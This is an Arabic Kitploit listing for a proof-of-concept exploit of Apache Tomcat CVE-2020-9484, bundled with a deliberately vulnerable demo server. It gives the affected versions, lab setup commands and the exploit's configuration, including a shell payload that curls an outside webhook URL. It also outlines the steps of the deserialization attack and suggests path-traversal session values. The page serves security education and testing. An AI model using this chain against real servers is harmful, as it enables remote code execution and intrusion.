Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PoC_CVE-2020-9484 — استغلال إثبات المفهوم لـ CVE-2020-9484، وتطبيق ويب ضعيف لتوضيحه. | Kitploit
أدوات/GitHubGitHub/savsch/poc_cve-2020-9484
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

استغلال إثبات المفهوم لـ CVE-2020-9484، وتطبيق ويب ضعيف لتوضيحه.

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2020-9484، إلى جانب خادم ويب مثال معرض لهذا الاستغلال.


المتطلبات الأساسية لاستغلال هذه الثغرة

إصدارات Tomcat المتأثرة هي:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. تم تفعيل PersistentManager ويستخدم FileStore.
  2. يستطيع المهاجم رفع ملف بمحتوى عشوائي، ولديه تحكم في امتداد اسم الملف (خاصة ملفات .session)، ويعرف الموقع الذي يتم رفعه فيه.
  3. توجد أدوات (gadgets) في classpath (مثل clojure أو commons-collections) يمكن استخدامها لهجوم إلغاء تسلسل Java.

مثال الخدمة المعرضة للخطر

الخدمة المثال هي خادم ويب مع صفحتين، /index.jsp (أو ببساطة /) و /list.jsp. تتيح للمستخدم رفع وتنزيل الملفات (خاصة بالجلسة الحالية)، وتعمل فعليًا كتخزين للملفات.

  • تدعم طلبات POST إلى /upload لدعم رفع الملفات، وتسمح للمستخدم باختيار اسم الملف. هذا يجعل من الممكن رفع ملفات بامتداد .session. ومن المعروف أيضًا أن الخادم يخزن الملفات في الدليل /var/tmp/uploads.
  • لديها PersistentManager مفعل باستخدام FileStore. (انظر context.xml)
  • لديها clojure:1.8.0 في classpath مما يسهل هجوم إلغاء التسلسل. (انظر pom.xml)

الاستغلال

لإعداد الخدمة المثال المعرضة للخطر:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

يجب أن تكون الخدمة الآن قيد التشغيل على http://localhost:8085/POC_CVE-2020-9484/.

الآن قم بضبط متغيرات التهيئة في بداية exploit.py. يمكن أن يكون PAYLOAD، هنا سكريبت شل، أي ملف يمكن تنفيذه بواسطة الخادم.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

الآن قم بتشغيل exploit.py. يقوم بالإجراءات التالية:

  1. يقوم بتنزيل yoserial.
  2. يستخدم yoserial لإنشاء كائنات متسلسلة ضارة (كملفات .session)، والتي سيتم في النهاية إلغاء تسلسلها على الخادم:
    • chmodPayload.session لإعطاء أذونات التنفيذ لملف PAYLOAD المرفوع على الخادم.
    • executePayload.session لتنفيذ ملف PAYLOAD على الخادم.
  3. يقوم برفع PAYLOAD كملف إلى الخادم.
  4. يقوم برفع ملفات .session التي تم إنشاؤها أعلاه إلى الخادم.
  5. يُحفز طلبًا إلى الخادم مع كون ملف تعريف الارتباط JSESSIONID هو مسار ملفات .session المرفوعة سابقًا بالنسبة لتخزين جلسة الخادم، مما يؤدي إلى إلغاء تسلسلها على الخادم وتنفيذ الحمولة لاحقًا.

هوامش

  • تقوم العديد من الخوادم بتخزين الملفات التي رفعها المستخدم في مسار من الشكل /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. في مثل هذه الحالة، استخدام JSESSIONID من الشكل ../../../../tmp (بدلاً من قيمة عشوائية مثل "1337"*8 المستخدمة في exploit.py أعلاه) مع طلب POST لرفع الملف يمكن أن يكون مفيدًا في تحديد مكان تخزين الملف المرفوع على الخادم.
تنزيل الأداة